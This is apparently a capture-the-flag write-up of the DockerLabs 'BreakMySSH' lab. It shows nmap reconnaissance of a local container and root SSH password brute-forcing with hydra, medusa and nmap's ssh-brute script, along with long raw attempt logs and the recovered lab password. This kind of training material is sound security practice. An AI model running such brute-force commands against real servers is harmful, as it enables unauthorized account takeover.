

breakmyssh

DockerLabs - BreakMySSH

General information

Machine	Difficulty	Author	Target IP	Category
BreakMySSH	Very easy	El Pingüino de Mario	172.17.0.2	Service: ssh



BreakMySSH

★ 4.5

MUY FÁCIL

Creada por



El Pingüino de Mario



29/05/2024

✓ Completada

📄 Descargar Diploma

Tu valoración: 75 votos ★★★★★

Objective

Identify exposed services, detect vulnerabilities, and gain access to the target system.

Tools

- **ping**: Connectivity and range check
- **nmap**: Port and services scanning, recognition and alternative ssh brute force attack
- **hydra**: ssh brute force attacks
- **medusa**: ssh brute force attacks

Ports

Port	Service
22	ssh

Connectivity with *ping*

```
ping -c4 172.17.0.2
```

Result:

```
⚡ root@mintian ~ ➤ ping -c4 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.090 ms
64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.082 ms
64 bytes from 172.17.0.2: icmp_seq=3 ttl=64 time=0.088 ms
64 bytes from 172.17.0.2: icmp_seq=4 ttl=64 time=0.073 ms

--- 172.17.0.2 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3091ms
rtt min/avg/max/mdev = 0.073/0.083/0.090/0.006 ms
```

Scanning with *nmap*

First, search for accessible hosts:

```
nmap -sn 172.17.0.0/16
```

Result:

```
⚡ root@mintian ~ ➤ nmap -sn 172.17.0.0/16
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-04 21:34 -0600
Nmap scan report for 172.17.0.2 (172.17.0.2)
Host is up (0.000037s latency).
MAC Address: 2A:26:18:68:05:58 (Unknown)
Nmap scan report for 172.17.0.1 (172.17.0.1)
Host is up.
```

Scanning host:

```
nmap -p- -Pn -sS -sV -sC -O 172.17.0.2
```

Result:

```
root@mintian ~ nmap -p- -Pn -sS -sV -sC -O 172.17.0.2
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-04 21:44 -0600
Nmap scan report for 172.17.0.2 (172.17.0.2)
Host is up (0.00011s latency).
Not shown: 65534 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
|   2048 1a:cb:5e:a3:3d:d1:da:c0:ed:2a:61:7f:73:79:46:ce (RSA)
|   256 54:9e:53:23:57:fc:60:1e:c0:41:cb:f3:85:32:01:fc (ECDSA)
|_  256 4b:15:7e:7b:b3:07:54:3d:74:ad:e0:94:78:0c:94:93 (ED25519)
MAC Address: 2A:26:18:68:05:58 (Unknown)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 4.17 seconds
```

Scanning vulnerabilities with nmap:

```
nmap --script vuln -p 22 172.17.0.2
```

Result:

```
root@mintian ~ nmap --script vuln -p 22 172.17.0.2
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-04 21:46 -0600
Nmap scan report for 172.17.0.2 (172.17.0.2)
Host is up (0.000059s latency).

PORT      STATE SERVICE
22/tcp    open  ssh
MAC Address: 2A:26:18:68:05:58 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 7.78 seconds
```

No vulnerabilities found

Brute Force Attack

Hydra

Using **hydra** for a brute force attack using the **rockyou.txt** passwords dictionary through ssh

```
hydra -l root -P /usr/share/wordlists/rockyou.txt -t 4 -v ssh://172.17.0.2
```

Result:

```
root@mintian ~# hydra -l root -P /usr/share/wordlists/rockyou.txt -t 4 -v ssh://172.17.0.2
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-10-04 21:58:44
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://root@172.17.0.2:22
[INFO] Successful, password authentication is supported by ssh://172.17.0.2:22
[22][ssh] host: 172.17.0.2 login: root password: estrella
[STATUS] attack finished for 172.17.0.2 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-10-04 21:58:46
```

Medusa

Using **medusa** for a brute force attack using the **rockyou.txt** passwords dictionary through ssh

```
medusa -h 172.17.0.2 -u root -P /usr/share/wordlists/rockyou.txt -M ssh
```

Result:

```
$ medusa -h 172.17.0.2 -u root -P /usr/share/wordlists/rockyou.txt -M ssh
Medusa v2.3 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks
<jmk@foofus.net>
```

```
2026-10-04 22:01:46 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: 1234
56 (1 of 14344391 complete)
2026-10-04 22:01:46 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: 1234
5 (2 of 14344391 complete)
2026-10-04 22:01:46 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: 1234
56789 (3 of 14344391 complete)
2026-10-04 22:01:46 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: pass
word (4 of 14344391 complete)
2026-10-04 22:01:46 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: ilov
eyou (5 of 14344391 complete)
2026-10-04 22:01:46 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: prin
cess (6 of 14344391 complete)
2026-10-04 22:01:46 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: 1234
567 (7 of 14344391 complete)
2026-10-04 22:01:46 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: rock
you (8 of 14344391 complete)
```

2026-10-04 22:01:46 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 12345678 (9 of 14344391 complete)

2026-10-04 22:01:46 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: abc123 (10 of 14344391 complete)

2026-10-04 22:01:46 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: nicole (11 of 14344391 complete)

2026-10-04 22:01:46 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: daniel (12 of 14344391 complete)

2026-10-04 22:01:46 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: babygirl (13 of 14344391 complete)

2026-10-04 22:01:46 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: monkey (14 of 14344391 complete)

2026-10-04 22:01:46 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: love1y (15 of 14344391 complete)

2026-10-04 22:01:46 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: jessica (16 of 14344391 complete)

2026-10-04 22:01:46 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 654321 (17 of 14344391 complete)

2026-10-04 22:01:46 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: michael (18 of 14344391 complete)

2026-10-04 22:01:46 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: ashley (19 of 14344391 complete)

2026-10-04 22:01:46 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: qwerty (20 of 14344391 complete)

2026-10-04 22:01:46 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 111111 (21 of 14344391 complete)

2026-10-04 22:01:46 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: iloveu (22 of 14344391 complete)

2026-10-04 22:01:46 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 000000 (23 of 14344391 complete)

2026-10-04 22:01:46 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0

complete) User: root (1 of 1, 0 complete) Password: mich
elle (24 of 14344391 complete)
2026-10-04 22:01:46 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: tigg
er (25 of 14344391 complete)
2026-10-04 22:01:46 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: suns
hine (26 of 14344391 complete)
2026-10-04 22:01:46 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: choc
olate (27 of 14344391 complete)
2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: pass
word1 (28 of 14344391 complete)
2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: socc
er (29 of 14344391 complete)
2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: anth
ony (30 of 14344391 complete)
2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: frie
nds (31 of 14344391 complete)
2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: butt
erfly (32 of 14344391 complete)
2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: purp
le (33 of 14344391 complete)
2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: ange
l (34 of 14344391 complete)
2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: jord
an (35 of 14344391 complete)
2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: live
rpool (36 of 14344391 complete)
2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: just
in (37 of 14344391 complete)
2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: love
me (38 of 14344391 complete)
2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: fuck

you (39 of 14344391 complete)
2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 1231
23 (40 of 14344391 complete)
2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: foot
ball (41 of 14344391 complete)
2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: secr
et (42 of 14344391 complete)
2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: andr
ea (43 of 14344391 complete)
2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: carl
os (44 of 14344391 complete)
2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: jenn
ifer (45 of 14344391 complete)
2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: josh
ua (46 of 14344391 complete)
2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: bubb
les (47 of 14344391 complete)
2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 1234
567890 (48 of 14344391 complete)
2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: supe
rman (49 of 14344391 complete)
2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: hann
ah (50 of 14344391 complete)
2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: aman
da (51 of 14344391 complete)
2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: love
you (52 of 14344391 complete)
2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: pret
ty (53 of 14344391 complete)
2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: bask
etball (54 of 14344391 complete)

2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: andrew (55 of 14344391 complete)

2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: angel (56 of 14344391 complete)

2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: twenty (57 of 14344391 complete)

2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: flower (58 of 14344391 complete)

2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: playboy (59 of 14344391 complete)

2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: hello (60 of 14344391 complete)

2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: Elizabeth (61 of 14344391 complete)

2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: hottie (62 of 14344391 complete)

2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: tinkerbelle (63 of 14344391 complete)

2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: Charlie (64 of 14344391 complete)

2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: Samantha (65 of 14344391 complete)

2026-10-04 22:01:47 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: Barbie (66 of 14344391 complete)

2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: Chelsea (67 of 14344391 complete)

2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: lovers (68 of 14344391 complete)

2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: teamo (69 of 14344391 complete)

2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0

complete) User: root (1 of 1, 0 complete) Password: jasm
ine (70 of 14344391 complete)
2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: bran
don (71 of 14344391 complete)
2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: 6666
66 (72 of 14344391 complete)
2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: shad
ow (73 of 14344391 complete)
2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: meli
ssa (74 of 14344391 complete)
2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: emin
em (75 of 14344391 complete)
2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: matt
hew (76 of 14344391 complete)
2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: robe
rt (77 of 14344391 complete)
2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: dani
elle (78 of 14344391 complete)
2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: fore
ver (79 of 14344391 complete)
2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: fami
ly (80 of 14344391 complete)
2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: jona
than (81 of 14344391 complete)
2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: 9876
54321 (82 of 14344391 complete)
2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: comp
uter (83 of 14344391 complete)
2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: what
ever (84 of 14344391 complete)
2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: drag

on (85 of 14344391 complete)
2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: vane
ssa (86 of 14344391 complete)
2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: cook
ie (87 of 14344391 complete)
2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: naru
to (88 of 14344391 complete)
2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: summ
er (89 of 14344391 complete)
2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: swee
ty (90 of 14344391 complete)
2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: spon
gebob (91 of 14344391 complete)
2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: jose
ph (92 of 14344391 complete)
2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: juni
or (93 of 14344391 complete)
2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: soft
ball (94 of 14344391 complete)
2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: tayl
or (95 of 14344391 complete)
2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: yell
ow (96 of 14344391 complete)
2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: dani
ela (97 of 14344391 complete)
2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: laur
en (98 of 14344391 complete)
2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: mick
ey (99 of 14344391 complete)
2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: prin
cesa (100 of 14344391 complete)

```
2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: alex
andra (101 of 14344391 complete)
2026-10-04 22:01:48 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: alex
is (102 of 14344391 complete)
2026-10-04 22:01:49 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: jesu
s (103 of 14344391 complete)
2026-10-04 22:01:49 ACCOUNT CHECK: [ssh] Host: 172.17.0.2 (1 of 1, 0
complete) User: root (1 of 1, 0 complete) Password: estr
ella (104 of 14344391 complete)
2026-10-04 22:01:49 ACCOUNT FOUND: [ssh] Host: 172.17.0.2 User: root
Password: estrella [SUCCESS]
```

nmap

In this case, **nmap** is able to run a brute force attack trough ssh

```
$ echo "root" > user.txt
$ nmap -p 22 --script ssh-brute --script-args
userdb=user.txt,passdb=/usr/share/wordlists/rockyou.txt 172.17.0.2
```

Result:

```
$ nmap -p 22 --script ssh-brute --script-args
userdb=user.txt,passdb=/usr/share/wordlists/rockyou.txt 17
2.17.0.2
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-04 22:09 -0600
NSE: [ssh-brute] Trying username/password pair: root:root
NSE: [ssh-brute] Trying username/password pair: root:123456
NSE: [ssh-brute] Trying username/password pair: root:12345
NSE: [ssh-brute] Trying username/password pair: root:123456789
NSE: [ssh-brute] Trying username/password pair: root:password
NSE: [ssh-brute] Trying username/password pair: root:iloveyou
NSE: [ssh-brute] Trying username/password pair: root:princess
NSE: [ssh-brute] Trying username/password pair: root:1234567
NSE: [ssh-brute] Trying username/password pair: root:rockyou
NSE: [ssh-brute] Trying username/password pair: root:12345678
NSE: [ssh-brute] Trying username/password pair: root:abc123
NSE: [ssh-brute] Trying username/password pair: root:nicole
NSE: [ssh-brute] Trying username/password pair: root:daniel
NSE: [ssh-brute] Trying username/password pair: root:babygirl
NSE: [ssh-brute] Trying username/password pair: root:monkey
NSE: [ssh-brute] Trying username/password pair: root:lovely
```

```
NSE: [ssh-brute] Trying username/password pair: root:jessica
NSE: [ssh-brute] Trying username/password pair: root:654321
NSE: [ssh-brute] Trying username/password pair: root:michael
NSE: [ssh-brute] Trying username/password pair: root:ashley
NSE: [ssh-brute] Trying username/password pair: root:qwerty
NSE: [ssh-brute] Trying username/password pair: root:111111
NSE: [ssh-brute] Trying username/password pair: root:iloveu
NSE: [ssh-brute] Trying username/password pair: root:000000
NSE: [ssh-brute] Trying username/password pair: root:michelle
NSE: [ssh-brute] Trying username/password pair: root:tigger
NSE: [ssh-brute] Trying username/password pair: root:sunshine
NSE: [ssh-brute] Trying username/password pair: root:chocolate
NSE: [ssh-brute] Trying username/password pair: root:password1
NSE: [ssh-brute] Trying username/password pair: root:soccer
NSE: [ssh-brute] Trying username/password pair: root:anthony
NSE: [ssh-brute] Trying username/password pair: root:friends
NSE: [ssh-brute] Trying username/password pair: root:butterfly
NSE: [ssh-brute] Trying username/password pair: root:purple
NSE: [ssh-brute] Trying username/password pair: root:angel
NSE: [ssh-brute] Trying username/password pair: root:jordan
NSE: [ssh-brute] Trying username/password pair: root:liverpool
NSE: [ssh-brute] Trying username/password pair: root:justin
NSE: [ssh-brute] Trying username/password pair: root:loveme
NSE: [ssh-brute] Trying username/password pair: root:fuckyou
NSE: [ssh-brute] Trying username/password pair: root:123123
NSE: [ssh-brute] Trying username/password pair: root:football
NSE: [ssh-brute] Trying username/password pair: root:secret
NSE: [ssh-brute] Trying username/password pair: root:andrea
NSE: [ssh-brute] Trying username/password pair: root:carlos
NSE: [ssh-brute] Trying username/password pair: root:jennifer
NSE: [ssh-brute] Trying username/password pair: root:joshua
NSE: [ssh-brute] Trying username/password pair: root:bubbles
NSE: [ssh-brute] Trying username/password pair: root:1234567890
NSE: [ssh-brute] Trying username/password pair: root:superman
NSE: [ssh-brute] Trying username/password pair: root:hannah
NSE: [ssh-brute] Trying username/password pair: root:amanda
NSE: [ssh-brute] Trying username/password pair: root:loveyou
NSE: [ssh-brute] Trying username/password pair: root:pretty
NSE: [ssh-brute] Trying username/password pair: root:basketball
NSE: [ssh-brute] Trying username/password pair: root:andrew
NSE: [ssh-brute] Trying username/password pair: root:angels
NSE: [ssh-brute] Trying username/password pair: root:tweety
NSE: [ssh-brute] Trying username/password pair: root:flower
NSE: [ssh-brute] Trying username/password pair: root:playboy
NSE: [ssh-brute] Trying username/password pair: root:hello
NSE: [ssh-brute] Trying username/password pair: root:elizabeth
```

```
NSE: [ssh-brute] Trying username/password pair: root:hottie
NSE: [ssh-brute] Trying username/password pair: root:tinkerbell
NSE: [ssh-brute] Trying username/password pair: root:charlie
NSE: [ssh-brute] Trying username/password pair: root:samantha
NSE: [ssh-brute] Trying username/password pair: root:barbie
NSE: [ssh-brute] Trying username/password pair: root:chelsea
NSE: [ssh-brute] Trying username/password pair: root:lovers
NSE: [ssh-brute] Trying username/password pair: root:teamo
NSE: [ssh-brute] Trying username/password pair: root:jasmine
NSE: [ssh-brute] Trying username/password pair: root:brandon
NSE: [ssh-brute] Trying username/password pair: root:666666
NSE: [ssh-brute] Trying username/password pair: root:shadow
NSE: [ssh-brute] Trying username/password pair: root:melissa
NSE: [ssh-brute] Trying username/password pair: root:eminem
NSE: [ssh-brute] Trying username/password pair: root:matthew
NSE: [ssh-brute] Trying username/password pair: root:robert
NSE: [ssh-brute] Trying username/password pair: root:danielle
NSE: [ssh-brute] Trying username/password pair: root:forever
NSE: [ssh-brute] Trying username/password pair: root:family
NSE: [ssh-brute] Trying username/password pair: root:jonathan
NSE: [ssh-brute] Trying username/password pair: root:987654321
NSE: [ssh-brute] Trying username/password pair: root:computer
NSE: [ssh-brute] Trying username/password pair: root:whatever
NSE: [ssh-brute] Trying username/password pair: root:dragon
NSE: [ssh-brute] Trying username/password pair: root:vanessa
NSE: [ssh-brute] Trying username/password pair: root:cookie
NSE: [ssh-brute] Trying username/password pair: root:naruto
NSE: [ssh-brute] Trying username/password pair: root:summer
NSE: [ssh-brute] Trying username/password pair: root:sweety
NSE: [ssh-brute] Trying username/password pair: root:spongebob
NSE: [ssh-brute] Trying username/password pair: root:joseph
NSE: [ssh-brute] Trying username/password pair: root:junior
NSE: [ssh-brute] Trying username/password pair: root:softball
NSE: [ssh-brute] Trying username/password pair: root:taylor
NSE: [ssh-brute] Trying username/password pair: root:yellow
NSE: [ssh-brute] Trying username/password pair: root:daniela
NSE: [ssh-brute] Trying username/password pair: root:lauren
